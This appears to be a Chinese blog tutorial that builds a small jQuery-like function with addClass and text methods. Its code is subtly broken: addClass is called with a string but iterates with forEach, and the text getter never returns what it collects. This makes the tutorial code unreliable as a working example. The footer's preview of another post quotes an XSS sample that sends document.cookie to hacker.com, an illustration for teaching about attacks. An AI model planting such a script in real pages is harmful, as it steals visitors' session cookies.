jQuery


实现一个 jQuery 的 API

实现一个函数,并判断参数是节点还是选择器,返回一个 nodes(数组形式的对象)
让 addClass()可以同时增加几个 className,把 setText 变成 text(既能 getText,又能 setText)
addClass()传进一个数组,获取数组的每个 value,然后遍历 nodes,为 nodes[i]添加 class —value
text(),判断参数是不是 undefined,如果是 undefined 的就是要 getText,否则就是 setText

window.jQuery = function(nodeOrSelector) {
  let nodes = {};
  if (typeof nodeOrSelector === "string") {
    let temp = document.querySelectorAll(nodeOrSelector);
    for (let i = 0; i < temp.length; i++) {
      nodes[i] = temp[i];
    }
    nodes.length = temp.length;
  } else if (nodeOrSelector instanceof Node) {
    nodes = { 0: nodeOrSelector, length: 1 };
  }

  nodes.addClass = function(classes) {
    classes.forEach(value => {
      for (let i = 0; i < nodes.length; i++) {
        nodes[i].classList.add(value);
      }
    });
  };
  nodes.text = function(text) {
    if (text === undefined) {
      let texts = [];
      for (let i = 0; i < nodes.length; i++) {
        texts.push(nodes[i].textContent);
      }
    } else {
      for (let i = 0; i < nodes.length; i++) {
        nodes[i].textContent = text;
      }
    }
  };
  return nodes;
};

window.$ = jQuery;
var $div = $("div");
$div.addClass("red");
$div.text("hi");

文章作者: 沐雪
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 沐雪 !
评论
 上一篇
AJAX AJAX
AJAX 全称 Asynchronous Javascript And XML,即异步的 JavaScript 和 XML,AJAX 允许以任意形式发送请求并且以任意形式展示。符合如下技术的就叫做 AJAX:使用 XMLHttpReques
2018-07-20
下一篇 
安全相关 安全相关
安全XSS 攻击举例 div.innerHTML = ( <script>$.get('http://hacker.com?cookie='+document.cookie)</script> ); // 恶意代码就被执行了
2018-06-10
  目录